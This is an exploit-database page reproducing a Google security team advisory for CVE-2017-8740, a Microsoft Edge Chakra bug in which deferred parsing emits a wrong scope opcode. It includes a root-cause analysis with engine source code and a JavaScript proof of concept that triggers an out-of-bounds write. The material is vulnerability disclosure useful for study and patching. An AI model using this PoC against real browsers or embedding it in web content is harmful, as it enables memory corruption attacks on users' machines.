Advertisement






Microsoft Edge Charka Wrong Scopes In Deferred Parsing

CVE Category Price Severity
CVE-2017-8740 CWE-698 $10000 High
Author Risk Exploitation Type Date
Google Security Team High Remote 2017-09-24
CPE
cpe:cpe:/a:microsoft:edge
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017090181

Below is a copy:

Microsoft Edge Charka Wrong Scopes In Deferred Parsing
Microsoft Edge: Chakra: Deferred parsing makes wrong scopes 

CVE-2017-8740


(function f(a = (function () {
    print(a);
    with ({});
})()) {
    function g() {
        f;
    }
})();

When Chakra executes the above code, it doesn't generate bytecode for "g". This is a feature called "DeferParse". The problem is that the bytecode generated for "f" when the feature is enabled is different to the bytecode generated when the feature is disabled. This is because of "ByteCodeGenerator::ProcessScopeWithCapturedSym" which changes the function expression scope's type is not called when the feature is enabled.

Here's a snippet of the method which emits an incorrect opcode.
void ByteCodeGenerator::LoadAllConstants(FuncInfo *funcInfo)
{
    ...
    if (funcExprWithName)
    {
        if (funcInfo->GetFuncExprNameReference() ||
            (funcInfo->funcExprScope && funcInfo->funcExprScope->GetIsObject()))
        {
            ...
            Js::RegSlot ldFuncExprDst = sym->GetLocation();
            this->m_writer.Reg1(Js::OpCode::LdFuncExpr, ldFuncExprDst);

            if (sym->IsInSlot(funcInfo))
            {
                Js::RegSlot scopeLocation;
                AnalysisAssert(funcInfo->funcExprScope);

                if (funcInfo->funcExprScope->GetIsObject())
                {
                    scopeLocation = funcInfo->funcExprScope->GetLocation();
                    this->m_writer.Property(Js::OpCode::StFuncExpr, sym->GetLocation(), scopeLocation,
                        funcInfo->FindOrAddReferencedPropertyId(sym->GetPosition()));
                }
                else if (funcInfo->bodyScope->GetIsObject())
                {
                    this->m_writer.ElementU(Js::OpCode::StLocalFuncExpr, sym->GetLocation(),
                        funcInfo->FindOrAddReferencedPropertyId(sym->GetPosition()));
                }
                else
                {
                    Assert(sym->HasScopeSlot());
                    this->m_writer.SlotI1(Js::OpCode::StLocalSlot, sym->GetLocation(),
                                          sym->GetScopeSlot() + Js::ScopeSlots::FirstSlotIndex);
                }
            }
            ...
        }
    }
    ...
}

As you can see, it only handles "funcExprScope->GetIsObject()" or "bodyScope->GetIsObject()" but not "paramScope->GetIsObject()".
Without the feature, there's no case that only "paramScope->GetIsObject()" returns true because "ByteCodeGenerator::ProcessScopeWithCapturedSym" for "f" is always called and makes "funcInfo->funcExprScope->GetIsObject()" return true.
But with the feature, the method is not called. So it ends up emitting an incorrect opcode "Js::OpCode::StLocalSlot".

The feature is enabled in Edge by default.

PoC:
let h = function f(a0 = (function () {
    a0;
    a1;
    a2;
    a3;
    a4;
    a5;
    a6;
    a7 = 0x99999;  // oob write

    with ({});
})(), a1, a2, a3, a4, a5, a6, a7) {
    function g() {
        f;
    }
};

for (let i = 0; i < 0x10000; i++) {
    h();
}


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum